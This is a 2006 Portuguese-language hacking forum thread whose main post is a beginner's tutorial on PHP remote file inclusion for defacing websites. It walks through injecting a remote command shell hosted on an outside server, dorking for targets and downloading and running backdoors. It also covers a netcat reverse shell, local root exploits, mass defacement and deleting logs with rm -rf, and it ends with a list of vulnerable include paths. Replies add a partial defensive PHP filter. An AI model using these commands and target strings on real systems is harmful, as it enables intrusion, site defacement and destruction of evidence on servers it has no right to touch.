FORUM DARKERS

Tecnologia & Informática => Acervo Security Darkers => Tutoriais => Topic started by: Ðark$pawn on 11 de March , 2006, 10:41:43 PM

Title: PHP Injection para Iniciantes - Ótimo Tutorial
Post by: Ðark$pawn on 11 de March , 2006, 10:41:43 PM
Galera, peguei esse super tuto de um fórum aê na net... Vcs num imaginam o trabalho q deu pra editar...  ;).

Obs 1.: Este tutorial foi feito para explicar uma das maneiras utilizadas por pessoas para desfigurar sites mas pode ser utilizado para outros fins. Vai da cabeça de cada um :P

4) Sintaxe

Ex.: www.site.com (http://www.site.com) /arquivo.php?data= http://CMD/cmd.gif?&cmd= (http://cmd/cmd.gif?&cmd=) ls

^ ^ ^ ^

Vitima String CmD comando unix

P.S.: Sem os espaços.


5) Procurando site vulnerável

Uma excelente ferramenta para os kiddies, sem dúvida, é o google. Há várias maneiras de fazer buscas por ele, dentre elas:

Obs.: A palavra 'word' q irei citar aqui é qualquer coisa que você esteja procurando no sistema de busca.

word : Busca por sites q contenham a 'word' em qualquer lugar da pagina.

allinurl: : Sites que contenham na url a word citada.
Ex: www.site.com/forum/word.php?id=0 (http://www.site.com/forum/word.php?id=0) .

allintitle: : Restringe sua pesquisa ao título da página.

intitle: : Parecido com o de cima, para maiores esclarecimentos no final do tuto.

inanchor: : Busca nos links dentro co corpo dos sites. http://rootsystem.100free.com/cmd/cse.gif?&cmd= (http://rootsystem.100free.com/cmd/cse.gif?&cmd=)

(coded by Crash from datacha0s group.)

No resultado, insira a cmd na string. Ex: www.site.com/index.php?page=http://root ... .gif?&cmd= (http://www.site.com/index.php?page=http://rootsystem.100free.com/cmd/cse.gif?&cmd=)

Não tem mistério.


6.2) A Cmd

datacha0s - PHP Command/Safemode Exploit

System Information

sysname: --> Sistema operacional rodando.

nodename: --> Nome local.

release: --> Versão do kernel.

Script Current User: --> Usuário pelo qual o script está sendo executado.

PHP Version: --> Versão do php da máquina

User Info: --> Informação do user (uid, euid, gid).

Current Path: --> Pasta atual que você está no server.

Server IP: --> Ip do servidor.

Web Server: --> Informações sobre o servidor.


[li] Command Mode Run

Command Stdout

 
(( aqui ficarao os resultados dos comandos ))

(( inseridos na cmd ))

Obs.: O script varia de cmd a cmd. Este é apenas um exemplo.


7) Ganhando acesso a shell

Para os próximos passos, você precisa estar na shell (interpretador de comandos) da máquina. Para isto, explicarei duas maneiras de tornar isto possível: Backdoor e Connect Back.


7.1) Rodando backdoor no server para conexão remota

Para rodar um backdoor, basta fazer um upload, escolher permissões, e executá-lo.

Comando: cd /var/tmp;wget www.site.onde.est (http://www.site.onde.est)á.o.backdoor.com/backdoor;chmod 777 backdoor;./backdoor

cd /var/tmp -> Faz a operação nesta pasta, por ser comum a todos os usuários e devido às suas permissões.

/tmp tb serve :)


wget www.(.. (//http://).)/backdoor -> Copia o backdoor a partir de uma url para o site. Quando wget não funcionar, tente outros comandos. Sintaxes:

wget www.site.com/arquivo (http://www.site.com/arquivo)

lynx -source www.site.com/arquivo (http://www.site.com/arquivo) > arquivo

curl -o arquivo www.site.com/arquivo (http://www.site.com/arquivo)

GET www.site.com/arquivo (http://www.site.com/arquivo) > arquivo

(...)

Após feito isso, aparecerá a seguinte mensagem:

Daemon Working...

pid = XXXXX

Isto significa que o backdoor está rodando.

Agora, basta conectar-se à shell. Como?
No Win: Iniciar -> Executar -> telnet www.site.com (http://www.site.com) porta

Onde o www.site.com (http://www.site.com) recebe o nome ou ip do site que você rodou o backdoor e porta é a porta que o backdoor está trabalhando.

Se aparecer no telnet bash-2.05b$ ou algo parecido, é porque funcionou! E você tem acesso à shell na máquina!

Se demorar um tempo e não cair na shell, confira o nome/ip do server.. se estiver correto, ele está rodando Firewall. E agora? Simples, Connect Back. :P


7.2) Connect Back
 
Método muito eficiente para ganhar shell numa máquina. Ganha shell reversamente.

Windows: Baixe o netcat para windows e no Prompt do MSDOS (na pasta que o nc se encontra), digite: nc -vv -l -p 15 , onde 15 pode ser escolhido de acordo com sua preferência. Esta porta será a que realizará a conexão.

Agora, voltando para o browser, na cmd digite o seguinte comando:

cd /var/tmp;wget www.site.do.dc.com/dc;chmod (http://www.site.do.dc.com/dc;chmod) 777 dc;./dc IP porta

cd /var/tmp -> Mesmo que para backdoor.

wget www.site.do.dc.com/dc (http://www.site.do.dc.com/dc) -> | | | | , mas é logico, com o endereço da dc.

./dc IP porta -> onde IP é o SEU IP e porta é a porta que você escolheu no netcat.
 

Feito isso, se ocorrer tudo certo, aparecerá como resultado:

Connect Back Backdoor

[li] Dumping Arguments

[li] Resolving Host Name

[li] Connecting...

[li] Spawning Shell

[li] Detached

Isto significa que você se conectou na shell! ;) Agora, vá para o MSDOS e vamos para o próximo passo. Se aparecer.
Connect Back Backdoor


[li] Dumping Arguments

[li] Resolving Host Name

[li] Connecting...

[-] Unable to Connect

confira os dados (seu ip, porta, netcat, etc). Se insistir, sua rede não aceita este tipo de conexão. Tente outras portas (como 80, 22, 15, etc).

 
___________ Na Shell


8) Comandos básicos

Eu ia passar direto nessa parte, mas sei que muitos não conhecem os comandos unix. Então vamos conhecer alguns:

ls -> Lista arquivos. Pode ser combinado com -a (mostra ocultos) e -l (mostra detalhadamente). Ex: ls -la

(mostra detalhadamente os arquivos, inclusive ocultos).

uname -a -> Mostra informações do sistema, como versão do kernel, nome, e outras coisas uteis.

id -> Mostra sua id.

w -> Lista os usuários logados no momento.

cp -> Copia arquivos. Sintaxe: cp arquivo /destino/

mv -> Move arquivos. Sintexe: mv arquivo /destino/

rm -> Remove arquivos. Se combinado com -rf , remove todos

os arquivos setados, inclusive pastas

mkdir -> Cria diretorio

rmdir -> Exclui diretorio

find -> Procura por arquivos/pastas. Ex: " find /etc -name

httpd.conf " procura pelo httpd.conf na pasta /etc

pwd -> Mostra em que pasta você está localizado

cat -> Exibe o conteúdo de um arquivo na tela

head -> Exibe linhas do início do arquivo

tail -> || || || final do arquivo

ctrl+c -> Sai/killa um programa

ctrl+r -> Busca comando digitado no history do bash

ps -auxw -> Lista todos os processos do sistema

netstat -na -> Status da conexão

kill -9 -> Mata processo. Sintaxe: kill -9 PID DO PROCESSO

kill -HUP -> Reinicia processo. Sintaxe: kill -HUP ID DO PROCESSO

pico -> Editor de texto. Sintaxe: pico arquivo

vi -> | | vi arquivo


Salvando resultados em arquivos comando > /arquivo/onde/será/armazenado

Ex: ls /etc > /tmp/s.txt salva todo o resultado da listagem de /etc no arquivo /tmp/s.txt


Adicionando linhas em arquivos

echo ' linha ' >> /arquivo/onde/será/incluido


Descompactando arquivos (os mais comuns)

.tar -> tar xvf arquivo.tar

.tar.gz -> tar zxvf arquivo.tar.gz

.tar.bz2 -> tar jxvf arquivo.tar.bz2

.zip -> unzip arquivo.zip


Compactando arquivos (os mais comuns)

.tar -> tar cvf destino.tar ARQUIVO

.tar.gz -> tar cvf destino.tar ARQUIVO | gzip destino.tar

.tar.bz2 -> tar cvf destino.tar ARQUIVO | bzip2 destino.tar

.zip -> zip destino.zip ARQUIVO

Bom.. procure um tutorial de linux para maiores esclarecimentos :P


9) Ganhando acesso root

Para ganhar acesso root localmente numa máquina, vai depender muito. Você precisa de um exploit local e o sistema deve estar vulnerável. Simples, basta baixar, escolher as permissões e executar. Asim  como você faz com o backdoor.. mas isto você faz na shell. Os mais comuns no momento são mremap , brk e kmod para kernel abaixo de 2.4.24

Se tudo ocorrer corretamente rootando a máquina, ao digitar o comando "id" você verá

bash-2.05b# id

uid=0(root) gid=0(root)

Pronto! Você é root! Divirta-se ;)
 

___________ Corrigindo o bug

10) Correção

Maneira bem simples de corrigir o bug de php é editando o arquivo php.ini na pasta de configuração do seu apache e desabilitando as funções system, exec, passthru, shell_exec

(...)

E, claro, sempre estar atento com novidades de security e manter-se atualizado :)))


___________ Fun for kiddies

Bom, após ter root na máquina, pode-se fazer o que quiser :P Vai da criatividade e necessidade da pessoa.

Para kiddies, com o objetivo de pinchar os sites, vamos lá entender como isso funciona. Melhor, vou tentar explicar como faz um mass  defacement.

 
11) Lista dos sites hospedados no server
Bom, para defacement, essa parte é essencial: saber quais os sites que estão lá. Mas como?

11.1) httpd.conf

Geralmente os dados dos sites hospedados ficam neste arquivo. Para fazer uma listagem dos sites, basta digitar um comando que irá ler o arquivo httpd.conf e imprimir as linhas que contenham ServerName (nome dos sites). (na pasta onde o httpd.conf se encontra)

cat httpd.conf | grep ServerName

(se estiverem neste arquivo mesmo, você pode salvar o resultado num arquivo - preferencialmente na pasta do site que você partiu - e fazer download)

cat /etc/httpd/conf/httpd.conf | grep ServerName

---->

Como? Bom, na CMD, digite pwd. Você verá o local onde você se encontra no servidor.

Ex: /home/httpd/vhosts/nasa.gov/web/

Digamos que a url seja esta: http://nasa.gov/index.php?page=CMD (http://nasa.gov/index.php?page=CMD)

Então, se você jogar o resultado para /home/httpd/vhosts/nasa.gov/web

Este arquivo estará na raiz do site. Só digitar este comando:

cat httpd.conf | grep ServerName > /home/httpd/vhosts/nasa.gov/we

b/RESULTADO.txt

(apenas um exemplo)

Feito isso, http://nasa.gov/RESULTADO.txt (http://nasa.gov/RESULTADO.txt) e baixar a lista :P Só assim

11.2) Outras maneiras...

Se mesmo assim, não conseguir achar quais sites tem lá, procure formas alternativas. Infelizmente não tem como explicar pois em cada server há uma maneira. Exemplo:
Se na pasta onde os sites estão localizados, você listá-los e o resultado ja tiver o nome e domínio deles: ex: ls /home/httpd/vhosts

site.com

mtv.com.br

nasa.gov

whitehouse.gov

fuckbush.org

...etc

Outras vezes, se encontram num arquivo chamado confixxx_alguma_coisa ... não tem mágica. Vasculhe o server...
 

12) Fazendo o bendito o mass defacement

Bom, primeiro, crie uma index que você queira que fique no lugar das outras. Feita ela, jogue para algum lugar que você possa fazer o upload pro server.

Há locais gratuitos que podem ser utilizados, como o 100free.com .

Crie uma conta e jogue o index lá. Se quiser renomeá-lo pra .zip pra ficar sem propagandas, pode também :P

Posts: www.Zone-H.org (http://www.zone-h.org) www.coredumped.org (http://www.coredumped.org) www.delta5.com.br (http://www.delta5.com.br)


13) Apagando logs

Alguns comandos úteis para apagar logs:

rm -rf /var/log

rm -rf /var/adm

rm -rf /var/apache/log

rm -rf $HISTFILE

find / -name .bash_history -exec rm -rf {} ;

find / -name .bash_logout -exec rm -rf {} ;

find / -name log* -exec rm -rf {} ;

find / -name *.log -exec rm -rf {} ;



___________ THE  END

Pronto, acho que é só isso.. Qualquer erro, só dizer pra que eu possa corrigir :D

Greetz pra tds do irc 

#el33t - irc.ircsul.com.br

#el33t - irc.irc.efnet.org

#rsy - irc.gigachat.net

#noturno - irc.brasnet.org

#r0x - irc.rizon.net

___________ Strings comuns

 /modules/mod_mainmenu.php?mosConfig_absolute_path=

/include/new-visitor.inc.php?lvc_include_dir=

/path_of_cpcommerce/_functions.php?prefix

/modules/My_eGallery/public/displayCategory.php?basepath=

/modules/4nAlbum/public/displayCategory.php?basepath=

/modules/coppermine/themes/default/theme.php?THEME_DIR=

/modules/agendax/addevent.inc.php?agendax_path=

/shoutbox/expanded.php?conf=

/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

/pivot/modules/module_db.php?pivot_path=

/library/editor/editor.php?root=

/library/lib.php?root=

/e107/e107_handlers/secure_img_render.php?p=

/main.php?x=

/index.php/main.php?x=

/index.php?include=

/index.php?x=

/index.php?open=

/index.php?visualizar=

/template.php?pagina=

/index.php?pagina=

/index.php?inc=

/include/write.php?dir=

/inc/step_one_tables.php?server_inc=
Title: Re: PHP Injection para Iniciantes - Ótimo Tutorial
Post by: slul on 12 de March , 2006, 01:05:43 AM
só  complementando vou falar pq acontece o PHP-Injection e fazer aki rapidinhu um exemplo de site bugado  ;D


Espero ter ajudado que complementado corretamente  ;)

Abraços
Title: Re: PHP Injection para Iniciantes - Ótimo Tutorial
Post by: Symersky on 12 de March , 2006, 02:55:21 AM
Bom tutorial  ;D

Slul também ajudou sim =D

[]s

Symersky
Title: Re: PHP Injection para Iniciantes - Ótimo Tutorial
Post by: OnlyOne on 12 de March , 2006, 10:47:52 AM
nao sei se vou falar bobagem , pq nao estou muito por dentro mas parece q ultimamente os defaces so sao feitos por PHP injection
Title: Re: PHP Injection para Iniciantes - Ótimo Tutorial
Post by: insanity on 14 de March , 2006, 02:09:57 PM
topico legal cara!!!!

sem mais
Title: Re: PHP Injection para Iniciantes - Ótimo Tutorial
Post by: bloodrain on 14 de March , 2006, 11:40:30 PM
<?php
$ip 
getenv("REMOTE_ADDR");
$checar $_GET['conteudo'&#93;;
$procurar  'http';
$pos strpos($checar$procurar);
if (
$pos === false) {
$ok "ok";
}
else {
mail("admin@site&#46;com","ataque","o ip &#58; $ip tentou te atacar por php inject");

$pagina $_GET['conteudo'&#93;;
if($pagina=='') {
include(
'home&#46;php');
}
elseif(
$pagina=='noticias') {
include(
'news&#46;php');
}
elseif(
$pagina=='coco') {
include(
'coco&#46;php');
}
else {
echo 
"conteudo nao encontrado";
}
?>
codado por BITSTORM
e se o codigo fosse esse e vc tivesse sem proxy?
Title: Re: PHP Injection para Iniciantes - Ótimo Tutorial
Post by: slul on 17 de March , 2006, 07:28:29 PM
Quote from: "bloodrain"<?php
$ip 
getenv("REMOTE_ADDR");
$checar $_GET['conteudo'&#93;;
$procurar  'http';
$pos strpos($checar$procurar);
if (
$pos === false) {
$ok "ok";
}
else {
mail("admin@site&#46;com","ataque","o ip &#58; $ip tentou te atacar por php inject");

$pagina $_GET['conteudo'&#93;;
if($pagina=='') {
include(
'home&#46;php');
}
elseif(
$pagina=='noticias') {
include(
'news&#46;php');
}
elseif(
$pagina=='coco') {
include(
'coco&#46;php');
}
else {
echo 
"conteudo nao encontrado";
}
?>
codado por BITSTORM
e se o codigo fosse esse e vc tivesse sem proxy?


num ia dar nada ngm se fode por q fez php inject hehehe
Title: Re: PHP Injection para Iniciantes - Ótimo Tutorial
Post by: Anonymous on 17 de March , 2006, 10:22:09 PM
Muito bom cara mais se voceis usarem o exploit que o maganus usuo na video-aula nao vao prescizar saber alguns comandos  ;D facilita pra quem e iniciante
Title: Re: PHP Injection para Iniciantes - Ótimo Tutorial
Post by: bloodrain on 18 de March , 2006, 01:44:24 AM
Quote from: "slul"
Quote from: "bloodrain"<?php
$ip 
getenv("REMOTE_ADDR");
$checar $_GET['conteudo'&#93;;
$procurar  'http';
$pos strpos($checar$procurar);
if (
$pos === false) {
$ok "ok";
}
else {
mail("admin@site&#46;com","ataque","o ip &#58; $ip tentou te atacar por php inject");

$pagina $_GET['conteudo'&#93;;
if($pagina=='') {
include(
'home&#46;php');
}
elseif(
$pagina=='noticias') {
include(
'news&#46;php');
}
elseif(
$pagina=='coco') {
include(
'coco&#46;php');
}
else {
echo 
"conteudo nao encontrado";
}
?>
codado por BITSTORM
e se o codigo fosse esse e vc tivesse sem proxy?


num ia dar nada ngm se fode por q fez php inject hehehe
mas que ia dar uma dor de cabeça zinha ia
Title: Re: PHP Injection para Iniciantes - Ótimo Tutorial
Post by: Anonymous on 18 de March , 2006, 09:21:15 AM
Quote from: "Sthealt"Sim, a maioria dos defacers estão sendo feitos por php-injection, mas não é só esta falha que é possivel fazer um defacer.

Verdade, a maioria dos defaces estão sendo feitos por PHP injection.

PS:

Quote from: "PyroMaker em outro tópico"Não é "defacer" e sim "deface", defacer é quem faz o deface, e o deface é o desfiguramento de um site.
Title: Re: PHP Injection para Iniciantes - Ótimo Tutorial
Post by: Anonymous on 24 de March , 2006, 02:12:26 AM
DarkSpawn,

Vai aí meu reconheimento pelo seu trabalho de edição cara.

Excelente Post!!! =)

Abração,

H4xn3tw0rk
Title: Re: PHP Injection para Iniciantes - Ótimo Tutorial
Post by: bloodrain on 25 de March , 2006, 10:04:47 AM
a funçao stripslashs tbm deve ser usada ela retira as /s da string